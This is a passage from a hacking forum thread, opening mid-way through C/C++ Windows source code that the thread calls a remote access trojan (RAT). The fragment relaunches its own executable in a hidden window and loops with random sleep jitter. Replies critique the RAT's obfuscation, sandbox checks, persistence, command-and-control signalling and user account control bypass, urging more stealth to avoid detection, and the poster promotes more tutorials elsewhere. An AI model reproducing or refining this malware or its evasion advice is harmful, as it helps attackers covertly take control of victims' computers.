                GetModuleFileNameA(NULL, exePath, MAX_PATH);

                STARTUPINFOA si = { sizeof(si) };
                PROCESS_INFORMATION pi = {};
                si.dwFlags = STARTF_USESHOWWINDOW;
                si.wShowWindow = SW_HIDE;

                CreateProcessA(exePath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

                if (pi.hProcess) {
                    CloseHandle(pi.hProcess);
                    CloseHandle(pi.hThread);
                }

                break;
            }

            Sleep(GetRandomJitter());
        }

        InternetCloseHandle(hInternet);
    }

    return 0;
}
0
Reply
Adl's Avatar'
Adl
Offline
#2
ur RAT has potential but it is far too rudimentary at this stage. The obfuscation of the string is subpar and straightforward to decompile. Sandbox checks are reasonable but lack the most crucial signs. Retention techniques are careless, with duplicate paths and inadequate pruning. Control Command Unit involve encrypted signaling mistakenly cultivated to be easily identified. The manner in which you bypass user account control is typical and may not be effective on more modern systems. More variation and less predictability would improve stealth and reduce chance of automated detection while improving the overall design. With how it is now, these problems need to be solved or it will not survive in the open for long.
0
Reply
#3
18-05-2025, 01:16 PM Adl Wrote:
ur RAT has potential but it is far too rudimentary at this stage. The obfuscation of the string is subpar and straightforward to decompile. Sandbox checks are reasonable but lack the most crucial signs. Retention techniques are careless, with duplicate paths and inadequate pruning. Control Command Unit involve encrypted signaling mistakenly cultivated to be easily identified. The manner in which you bypass user account control is typical and may not be effective on more modern systems. More variation and less predictability would improve stealth and reduce chance of automated detection while improving the overall design. With how it is now, these problems need to be solved or it will not survive in the open for long.
Yeah thanks for the advice dumbass, check my other tutorials.
0
Reply
#4
18-05-2025, 01:16 PM Adl Wrote:
ur RAT has potential but it is far too rudimentary at this stage. The obfuscation of the string is subpar and straightforward to decompile. Sandbox checks are reasonable but lack the most crucial signs. Retention techniques are careless, with duplicate paths and inadequate pruning. Control Command Unit involve encrypted signaling mistakenly cultivated to be easily identified. The manner in which you bypass user account control is typical and may not be effective on more modern systems. More variation and less predictability would improve stealth and reduce chance of automated detection while improving the overall design. With how it is now, these problems need to be solved or it will not survive in the open for long.
Check my sinister.ly profile, this is incomplete and lacks the description that came with it.
0
Reply



Users browsing this thread: 1 Guest(s)